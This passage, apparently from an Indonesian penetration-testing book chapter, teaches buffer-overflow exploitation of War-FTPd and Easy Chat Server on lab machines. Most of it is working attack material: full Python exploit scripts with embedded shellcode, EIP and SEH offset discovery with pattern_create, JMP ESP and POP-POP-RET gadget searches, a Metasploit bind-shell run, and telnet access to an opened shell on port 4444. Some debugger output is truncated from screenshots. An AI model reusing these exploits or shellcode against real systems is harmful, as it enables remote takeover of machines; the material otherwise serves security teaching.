d3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9
Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
```

ruby pattern_create.rb 1000

Hapus file FTPDaemon.dat

Klik Debug lalu Restart

Hasil pengiriman dari output ruby pattern_create.rb 1000 ke target menghasilkan nilai EIP 3271431

```
C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_offset.rb 32714131
485

C:\Program Files\Rapid7\framework\msf3\tools>
```

Masukkan 32714131 ke patternoffset.rb

```
0BADF00D    - Processing modules
0BADF00D    - Done. Let's rock 'n roll.
0BADF00D  ----------------------------------------------------------------------------------------------------------
0BADF00D  Module info :
0BADF00D  ----------------------------------------------------------------------------------------------------------
0BADF00D  Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | Version, Modulename & Path
0BADF00D  ----------------------------------------------------------------------------------------------------------
0BADF00D  0x76f20000 | 0x76f45000 | 0x00025000 | False  | False   | False | False    | True   | 5.1.2600.0 [DNSAPI.dll] (C:
0BADF00D  0x77e60000 | 0x77f45000 | 0x000e5000 | False  | False   | False | False    | True   | 5.1.2600.0 [kernel32.dll] (
0BADF00D  0x77c10000 | 0x77c63000 | 0x00053000 | False  | False   | False | False    | True   | 7.0.2600.0 [MSVCRT.dll] (C:
0BADF00D  0x77f50000 | 0x77ff9000 | 0x000a9000 | False  | False   | False | False    | True   | 5.1.2600.0 [ntdll.dll] (C:\
0BADF00D  0x71a90000 | 0x71a98000 | 0x00008000 | False  | False   | False | False    | True   | 5.1.2600.0 [wshtcpip.dll] (
0BADF00D  0x00400000 | 0x00464000 | 0x00064000 | False  | False   | False | False    | False  | 1.6.5.0 [war-ftpd.exe] (C:\
0BADF00D  0x71ad0000 | 0x71ad8000 | 0x00008000 | False  | False   | False | False    | True   | 5.1.2600.0 [WSOCK32.dll] (C
0BADF00D  0x71aa0000 | 0x71aa8000 | 0x00008000 | False  | False   | False | False    | True   | 5.1.2600.0 [WS2HELP.dll] (C
0BADF00D  0x73dd0000 | 0x73ec2000 | 0x000f2000 | False  | False   | False | False    | True   | 6.00.8665.0 [MFC42.DLL] (C:
0BADF00D  0x771b0000 | 0x772ca000 | 0x0011a000 | False  | False   | False | False    | True   | 5.1.2600.0 [ole32.dll] (C:\
0BADF00D  0x772d0000 | 0x77333000 | 0x00063000 | False  | False   | False | False    | True   | 6.00.2600.0000 [SHLWAPI.dll
0BADF00D  0x77d40000 | 0x77dcd000 | 0x0008d000 | False  | False   | False | False    | True   | 5.1.2600.0 [USER32.dll] (C:
0BADF00D  0x71b20000 | 0x71b31000 | 0x00011000 | False  | False   | False | False    | True   | 5.1.2600.0 [MPR.dll] (C:\WI
0BADF00D  0x763b0000 | 0x763f5000 | 0x00045000 | False  | False   | False | False    | True   | 6.00.2600.0000 [comdlg32.dl
0BADF00D  0x5ad70000 | 0x5ada4000 | 0x00034000 | False  | False   | False | False    | True   | 6.00.2600.0000 [uxtheme.dll
0BADF00D  0x773d0000 | 0x77bc4000 | 0x007f4000 | False  | False   | False | False    | True   | 6.00.2600.0000 [SHELL32.dll
0BADF00D  0x77cc0000 | 0x77d35000 | 0x00075000 | False  | False   | False | False    | True   | 5.1.2600.0 [RPCRT4.dll] (C:
0BADF00D  0x71950000 | 0x71a34000 | 0x000e4000 | False  | False   | False | False    | True   | 6.0 [comctl32.dll] (C:\WIND
0BADF00D  0x76fb0000 | 0x76fb7000 | 0x00007000 | False  | False   | False | False    | True   | 5.1.2600.0 [winrnr.dll] (C:
0BADF00D  0x77340000 | 0x773cb000 | 0x0008b000 | False  | False   | False | False    | True   | 5.82 [COMCTL32.dll] (C:\WIN
0BADF00D  0x76f60000 | 0x76f8c000 | 0x0002c000 | False  | False   | False | False    | True   | 5.1.2600.0 [WLDAP32.dll] (C
0BADF00D  0x71a50000 | 0x71a8b000 | 0x0003b000 | False  | False   | False | False    | True   | 5.1.2600.0 [mswsock.dll] (C
0BADF00D  0x76b40000 | 0x76b6c000 | 0x0002c000 | False  | False   | False | False    | True   | 5.1.2600.0 [WINMM.dll] (C:\
0BADF00D  0x77c70000 | 0x77cb0000 | 0x00040000 | False  | False   | False | False    | True   | 5.1.2600.0 [GDI32.dll] (C:\
0BADF00D  0x77dd0000 | 0x77e5b000 | 0x0008b000 | False  | False   | False | False    | True   | 5.1.2600.0 [ADVAPI32.dll] (
0BADF00D  0x71ab0000 | 0x71ac5000 | 0x00015000 | False  | False   | False | False    | True   | 5.1.2600.0 [WS2_32.dll] (C:
0BADF00D  ----------------------------------------------------------------------------------------------------------
0BADF00D
0BADF00D
0BADF00D  [+] This mona.py action took 0:00:00.500000
!mona modules /mod
```

Untuk melihat module yang tidak terproteksi ketik !mona modules /mod lalu enter

Pilih View lalu Executable modules

Pilih module USER32.dll

Klik kanan, pilih Search for lalu Command

Masukkan JMP ESP lalu enter

Hasil dari JMP ESP

```
#!/usr/bin/python

import socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

buffer ="\x90" * 485

eip = "\x4A\x75\xD7\x77"

nop ="\x90" * 31

shellcode = ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +

"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +

"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +

"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +

"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
```

```
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
"\x7d\x8b\xb6\x06")

s.connect(('192.168.1.31',21))
data=s.recv(1024)
print("sending evil data via USER command..")
s.send('USER '+buffer+eip+nop+shellcode+'\r\n')
print s.recv(1024)
s.send("PASS anonymous\r\n")
s.close()
```

```
Command Pr
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\War-ftpd>


Connection to host lost.

C:\Python27>
C:\Python27>python warftpdcoba3.py
sending evil data via USER command..
331 User name okay, Need password.


C:\Python27>telnet 192.168.1.31 4444
```

Eksploitasi dan melakukan koneksi telnet pada port 4444 ke target

```
Telnet 192.168.1.31
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\War-ftpd>_
```

Hasilnya Server berhasil dilakukan remote

13.6 Eksploitasi salah satu chat server

Saat dilakukan scanning dengan NMAP pada ip address 192.168.1.31 dengan perintah nmap -A 192.168.1.31 ditemukan web server dengan nama Easy Chat Server.

Dari hasil pencarian di google, easy chat server adalah software penyedia layanan chat.

Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software, it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.) on any device (Windows, Linux, Mac, iPhone/iPad...) without any special plug-ins or software. It can help you setup your community secure chat rooms, collaborative work sessions or online meetings. The Professional Edition supports 256 bit SSL Encryption Chat, this makes almost impossible for anyone to spy on passwords, chat content etc. send over the internet.

Sumber : echatserver.com - http://www.echatserver.com/index.htm

```
root@kalidata:~# nmap -A 192.168.1.31

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-28 16:10 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DN
 Try using --system-dns or specify valid servers with --dns-server
Nmap scan report for 192.168.1.31
Host is up (0.00054s latency).
Not shown: 992 closed ports
PORT     STATE SERVICE      VERSION
22/tcp   open  ssh          WeOnlyDo sshd 1.2.7 (protocol 2.0)
| ssh-hostkey:
|   1024 8f:41:a3:4a:45:fe:f6:8c:b3:d2:a4:08:56:80:fa:53 (DSA)
|_  1024 25:a4:a5:5a:ab:f0:bb:96:99:50:67:af:82:ec:64:25 (RSA)
80/tcp   open  http         Easy Chat Server/1.0
|_http-methods: No Allow or Public header in OPTIONS response (sta
|_http-title: Easy Chat Server
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
443/tcp  open  ssl/https    Easy Chat Server/1.0
|_http-methods: No Allow or Public header in OPTIONS response (sta
|_http-title: Easy Chat Server
| ssl-cert: Subject: commonName=www.sharing-file.com/organizationN
re Inc./stateOrProvinceName=California/countryName=US
| Not valid before: 2006-10-31T08:43:02+00:00
|_Not valid after:  2007-10-31T07:43:02+00:00
| sslv2:
|   SSLv2 supported
|   ciphers:
|     SSL2_DES_192_EDE3_CBC_WITH_MD5
```

Di dalam metasploit framework, dilakukan pencarian exploit untuk easy chat server, di sini kata kunci yang digunakan adalah search chat.

```
msf > search chat
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                          Disclosure Date  Rank
 Description
   ----                                          ---------------  ----
 -----------
   exploit/multi/http/activecollab_chat          2012-05-30       excell
 Active Collab "chat module" Remote PHP Code Injection Exploit
   exploit/unix/webapp/flashchat_upload_exec     2013-10-04       excell
 FlashChat Arbitrary File Upload
   exploit/windows/http/efs_easychatserver_username  2007-08-14   great
 EFS Easy Chat Server Authentication Request Handling Buffer Overflow
   post/firefox/manage/webcam_chat               2014-05-13       normal
 Firefox Webcam Chat on Privileged Javascript Shell
   post/linux/gather/enum_xchat                                   normal
 Linux Gather XChat Enumeration
   post/multi/gather/skype_enum                                   normal
 Multi Gather Skype User Data Enumeration

92_EDE3_CBC_WITH_MD5
```

```
msf > info exploit/windows/http/efs_easychatserver_username

       Name: EFS Easy Chat Server Authentication Request Handling Buffe
w
     Module: exploit/windows/http/efs_easychatserver_username
   Platform: Windows
 Privileged: No
    License: BSD License
       Rank: Great

Provided by:
  LSO <lso@hushmail.com>
  Brendan Coles <bcoles@gmail.com>

Available targets:
  Id  Name
  --  ----
  0   Automatic Targeting
  1   Easy Chat Server 2.0
  2   Easy Chat Server 2.1 - 3.1

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        Use a proxy chain
  RHOST                     yes       The target address
  RPORT    80               yes       The target port
  VHOST                     no        HTTP server virtual host

Payload information:
  Space: 7000
  Avoid: 8 characters
```

Cara menggunakan exploit tersebut, perintah yang digunakan adalah use exploit/windows/http/efs_easychatserver_username.

```
msf > use exploit/windows/http/efs_easychatserver_username
msf exploit(efs_easychatserver_username) > show payloads

Compatible Payloads
===================
```

```
   windows/patchupmeterpreter/reverse_tcp_allports
tion), Reverse All-Port TCP Stager
   windows/patchupmeterpreter/reverse_tcp_dns
tion), Reverse TCP Stager (DNS)
   windows/patchupmeterpreter/reverse_tcp_rc4
tion), Reverse TCP Stager (RC4 Stage Encryption)
   windows/patchupmeterpreter/reverse_tcp_rc4_dns
tion), Reverse TCP Stager (RC4 Stage Encryption DNS)
   windows/shell/bind_ipv6_tcp
ger (IPv6)
   windows/shell/bind_nonx_tcp
ger (No NX or Win7)
   windows/shell/bind_tcp
ger
   windows/shell/bind_tcp_rc4
ger (RC4 Stage Encryption)
   windows/shell/reverse_hop_http
HTTP Stager
   windows/shell/reverse_http
```

Di sini payload yang digunakan adalah windows/shell/bind/tcp.

```
msf exploit(efs_easychatserver_username) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf exploit(efs_easychatserver_username) > set rhost 192.168.1.31
rhost => 192.168.1.31
msf exploit(efs_easychatserver_username) > exploit

[*] Started bind handler
[*] 192.168.1.31:80 - Sending request (552 bytes) to target (Easy Chat Server 2.1 - 3.1)
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.31
[*] Command shell session 3 opened (192.168.1.55:47648 -> 192.168.1.31:4444) at 2015-08-2

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pc2\Desktop>
```

Untuk menggunakan payload windows/shell/bind_tcp perintahnya adalah set payload windows/she;;/bind_tcp.

Ip target 192.168.1.31, maka untuk set targetnya maka perintahnya set rhost 192.168.1.31.

Exploit Development pada Easy Chat Server

Tampilan Easy Chat Server saat dibuka

http://192.168.1.101

Program Fuzzer :

```
#!/usr/bin/python

import socket


buffer = "\x41" * 100


head  = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"
```

```
head += "Host: 192.168.1.101\r\n"


s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))
s.send(head + "\r\n\r\n")
s.close()
```

```
C:\Python27>python fuzzchat.py
C:\Python27>
```

Program fuzzer dijalankan

```
ST5 empty
ST6 empty
ST7 empty
                3 2 1 0      E S P U O Z D I
FST 4000  Cond 1 0 0 0  Err 0 0 0 0 0 0 0 0  (EQ)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1
<4660.>                                Running
```

Easy Chat Server tidak crash

```
fuzzchat - Notepad
File  Edit  Format  View  Help
#!/usr/bin/python

import socket

buffer = "\x41" * 500

head  = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"

head += "Host: 192.168.1.101\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))
s.send(head + "\r\n\r\n")
s.close()
```

Paket dinaikkan menjadi 500

```
C:\Python27>python fuzzchat.py

C:\Python27>
```

Program fuzzer dijalankan

Easy Chat Server mengalami crash setelah dikirim “\x41” sebanyak 500

Klik View lalu SEH Chain

Masuk di SEH chain

```
root@dhcppc4:/home/kurniawan# locate pattern_create.rb
/usr/share/metasploit-framework/tools/pattern_create.rb
root@dhcppc4:/home/kurniawan#
```

Mencari program pattern_create.rb di kali linux

```
root@dhcppc4:/home/easy# ruby /usr/share/metasploit-framework/tools/pattern_crea
te.rb 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq
```

fuzzchat2 - Notepad

File Edit Format View Help

```
#!/usr/bin/python
import socket

buffer =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad
7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah
5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al
3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap
1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"

head  = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"
head += "Host: 192.168.1.101\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))
s.send(head + "\r\n\r\n")
s.close()
```

#!/usr/bin/python

import socket

buffer =

"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq"

head = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"

head += "Host: 192.168.1.101\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.1.101',80))

s.send(head + "\r\n\r\n")

s.close()

```
C:\Python27>python fuzzchat.py
C:\Python27>
```

Fuzzer dijalankan

Mendapatkan nilai 51386841

```
root@dhcppc4:/home/easy# locate pattern_offset.rb
/usr/share/metasploit-framework/tools/pattern_offset.rb
root@dhcppc4:/home/easy# ruby /usr/share/metasploit-framework/tools/pattern_offs
et.rb 41386841
[*] Exact match at offset 234
root@dhcppc4:/home/easy#
```

locate pattern_offset.rb

ruby /usr/share/metasploit-framework/tools/pattern_offset.rb 41386841

!mona nosafeseh

Klik View lalu Executabe Modules

Pilih SSLEAY32 yang tidak memiliki proteksi SafeSEH

Pilih Search For lalu pilih Sequence of commands

Ketik:

POP R32

POP R32

RETN

```
CPU - main thread, module SSLEAY32
Base
004000  1000227F  5D              POP EBP
004900  10002280  5B              POP EBX
100000  10002281  C3              RETN
5AD700  10002282  03C8            ADD ECX,EAX
5D0900  10002284  894B 44         MOV DWORD PTR DS:[EBX+44],ECX
5EDD00  10002287  8A45 00         MOV AL,BYTE PTR SS:[EBP]
662B00  1000228A  3C 03           CMP AL,3
680000  1000228C  74 6C           JE SHORT SSLEAY32.100022FA
71A500  1000228E  84C0            TEST AL,AL
71A900  10002290  74 2B           JE SHORT SSLEAY32.100022BD
71AA00  10002292  6A 00           PUSH 0
71AB00  10002294  53              PUSH EBX
71AD00  10002295  E8 A6220000     CALL SSLEAY32.10004540
730000  1000229A  68 50030000     PUSH 350
763B00  1000229F  68 50C30110     PUSH SSLEAY32.1001C350
76F200  100022A4  68 D4000000     PUSH 0D4
76F600  100022A9  6A 69           PUSH 69
76FB00  100022AB  6A 14           PUSH 14
76FC00  100022AD  E8 52910100     CALL <JMP.&LIBEAY32.#252_ERR_put_error>
771200  100022B2  83C4 1C         ADD ESP,1C
771B00  100022B5  83C8 FF         OR EAX,FFFFFFFF
773D00  100022B8  5F              POP EDI
774E00  100022B9  5E              POP ESI
77A800  100022BA  5D              POP EBP
77B200  100022BB  5B              POP EBX
77C100  100022BC  C3              RETN
77DD00  100022BD  68 54030000     PUSH 354
77E700  100022C2  68 50C30110     PUSH SSLEAY32.1001C350
77F100  100022C7  68 C8000000     PUSH 0C8
77F600  100022CC  6A 69           PUSH 69
77FE00  100022CE  6A 14           PUSH 14
7C8000  100022D0  E8 2F910100     CALL <JMP.&LIBEAY32.#252_ERR_put_error>
7C9000  100022D5  8B43 44         MOV EAX,DWORD PTR DS:[EBX+44]
7C9C00  100022D8  B9 03000000     MOV ECX,3
7C9C00  100022DD  2BC8            SUB ECX,EAX
```

Tampil seperti di atas tapi alamatnya mengandung bad character

```
Immunity Debugger - EasyChat.exe
File View Debug Plugins ImmLib Options Window Help Jobs
CPU - main thread, module SSLEAY32
Base
004000  10011B6A  5D              POP EBP
004900  10011B6B  5B              POP EBX
100000  10011B6C  C3              RETN
5AD700  10011B6D  8B4424 18       MOV EAX,DWORD PTR SS:[ESP+18]
5D0900  10011B71  C600 00         MOV BYTE PTR DS:[ESI],0
5EDD00  10011B74  5F              POP EDI
662B00  10011B75  5E              POP ESI
680000  10011B76  5D              POP EBP
71A500  10011B77  5B              POP EBX
71A900  10011B78  C3              RETN
71AA00  10011B79  5F              POP EDI
71AB00  10011B7A  5E              POP ESI
71AD00  10011B7B  5D              POP EBP
730000  10011B7C  33C0            XOR EAX,EAX
763B00  10011B7E  5B              POP EBX
76F200  10011B7F  C3              RETN
76F600  10011B80  53              PUSH EBX
76FB00  10011B81  8B5C24 0C       MOV EBX,DWORD PTR SS:[ESP+C]
76FC00  10011B85  85DB            TEST EBX,EBX
771200  10011B87  75 04           JNZ SHORT SSLEAY32.10011B8D
771B00  10011B89  33C0            XOR EAX,EAX
773D00  10011B8B  5B              POP EBX
774E00  10011B8C  C3              RETN
77A800  10011B8D  56              PUSH ESI
77B200  10011B8E  57              PUSH EDI
77C100  10011B8F  8B7C24 18       MOV EDI,DWORD PTR SS:[ESP+18]
77DD00  10011B93  53              PUSH EBX
77E700  10011B94  897C24 18       MOV DWORD PTR SS:[ESP+18],EDI
77F100  10011B98  33F6            XOR ESI,ESI
77F600  10011B9A  E8 59980000     CALL <JMP.&LIBEAY32.#1654_sk_num>
77F600  10011B9F  83C4 04         ADD ESP,4
Registers (FPU
EAX 00000002
ECX 00000004
EDX 00000010
EBX 00140640
ESP 0011DAC4
EBP 0011DB38
ESI 0017BA58
EDI 01120064
EIP 7C952E98
C 0  ES 0023
P 1  CS 001B
A 0  SS 0023
Z 1  DS 0023
S 0  FS 003B
T 0  GS 0000
D 0
O 0  LastErr
EFL 00000246
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
```

Tekan Ctrl + L terus hingga mendapatkan alamat yang tidak memiliki Bad Character

Hasil exploit yang dibuat

#!/usr/bin/python

```
import socket

buffer = "\x41" * 234
buffer += "\x76\x1B\x01\x10"
buffer += "\x90" * 30
buffer +=  ("\xba\x1f\xb5\xae\xa1\xdd\xc4\xd9\x74\x24\xf4\x5e\x33\xc9" +
"\xb1\x56\x31\x56\x13\x83\xc6\x04\x03\x56\x10\x57\x5b\x5d" +
"\xc6\x1e\xa4\x9e\x16\x41\x2c\x7b\x27\x53\x4a\x0f\x15\x63" +
"\x18\x5d\x95\x08\x4c\x76\x2e\x7c\x59\x79\x87\xcb\xbf\xb4" +
"\x18\xfa\x7f\x1a\xda\x9c\x03\x61\x0e\x7f\x3d\xaa\x43\x7e" +
"\x7a\xd7\xab\xd2\xd3\x93\x19\xc3\x50\xe1\xa1\xe2\xb6\x6d" +
"\x99\x9c\xb3\xb2\x6d\x17\xbd\xe2\xdd\x2c\xf5\x1a\x56\x6a" +
"\x26\x1a\xbb\x68\x1a\x55\xb0\x5b\xe8\x64\x10\x92\x11\x57" +
"\x5c\x79\x2c\x57\x51\x83\x68\x50\x89\xf6\x82\xa2\x34\x01" +
"\x51\xd8\xe2\x84\x44\x7a\x61\x3e\xad\x7a\xa6\xd9\x26\x70" +
"\x03\xad\x61\x95\x92\x62\x1a\xa1\x1f\x85\xcd\x23\x5b\xa2" +
"\xc9\x68\x38\xcb\x48\xd5\xef\xf4\x8b\xb1\x50\x51\xc7\x50" +
"\x85\xe3\x8a\x3c\x6a\xde\x34\xbd\xe4\x69\x46\x8f\xab\xc1" +
"\xc0\xa3\x24\xcc\x17\xc3\x1f\xa8\x88\x3a\x9f\xc9\x81\xf8" +
"\xcb\x99\xb9\x29\x73\x72\x3a\xd5\xa6\xd5\x6a\x79\x18\x96" +
"\xda\x39\xc8\x7e\x31\xb6\x37\x9e\x3a\x1c\x4e\x98\xf4\x44" +
"\x03\x4f\xf5\x7a\xb2\xd3\x70\x9c\xde\xfb\xd4\x36\x76\x3e" +
"\x03\x8f\xe1\x41\x61\xa3\xba\xd5\x3d\xad\x7c\xd9\xbd\xfb" +
"\x2f\x76\x15\x6c\xbb\x94\xa2\x8d\xbc\xb0\x82\xc4\x85\x53" +
"\x58\xb9\x44\xc5\x5d\x90\x3e\x66\xcf\x7f\xbe\xe1\xec\xd7" +
"\xe9\xa6\xc3\x21\x7f\x5b\x7d\x98\x9d\xa6\x1b\xe3\x25\x7d" +
"\xd8\xea\xa4\xf0\x64\xc9\xb6\xcc\x65\x55\xe2\x80\x33\x03" +
"\x5c\x67\xea\xe5\x36\x31\x41\xac\xde\xc4\xa9\x6f\x98\xc8" +
"\xe7\x19\x44\x78\x5e\x5c\x7b\xb5\x36\x68\x04\xab\xa6\x97" +
"\xdf\x6f\xd6\xdd\x7d\xd9\x7f\xb8\x14\x5b\xe2\x3b\xc3\x98" +
"\x1b\xb8\xe1\x60\xd8\xa0\x80\x65\xa4\x66\x79\x14\xb5\x02" +
```

"\x7d\x8b\xb6\x06")

head = "GET /chat.ghp?username="+buffer+"&password=admin&room=1&sex=2 HTTP/1.1\r\n"

head += "Host: 192.168.1.101\r\n"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(('192.168.1.101',80))

s.send(head + "\r\n\r\n")

s.close()

Exploit dijalankan tapi shellcode tidak tereksekusi. Berikut mencari penyebab shellcode tidak dapat dieksekusi.

Break 0x10011B76

Jalankan exploit kembali

```
CPU - thread 00000DDC, module SSLEAY32
10011B76  5D              POP EBP
10011B77  5B              POP EBX
10011B78  C3              RETN
10011B79  5F              POP EDI
10011B7A  5E              POP ESI
10011B7B  5D              POP EBP
10011B7C  33C0            XOR EAX,EAX
10011B7E  5B              POP EBX
10011B7F  C3              RETN
10011B80  53              PUSH EBX
10011B81  8B5C24 0C       MOV EBX,DWORD PTR SS:[ESP+C]
10011B85  85DB            TEST EBX,EBX
10011B87  75 04           JNZ SHORT SSLEAY32.10011B8D
10011B89  33C0            XOR EAX,EAX
10011B8B  5B              POP EBX
10011B8C  C3              RETN
10011B8D  56              PUSH ESI
10011B8E  57              PUSH EDI
10011B8F  8B7C24 18       MOV EDI,DWORD PTR SS:[ESP+18]
10011B93  53              PUSH EBX
10011B94  897C24 18       MOV DWORD PTR SS:[ESP+18],EDI
10011B98  33F6            XOR ESI,ESI
10011B9A  E8 59980000     CALL <JMP.&LIBEAY32.#1654_sk_num>
10011B9F  83C4 04         ADD ESP,4
10011BA2  85C0            TEST EAX,EAX
10011BA4  7E 25           JLE SHORT SSLEAY32.10011BCB
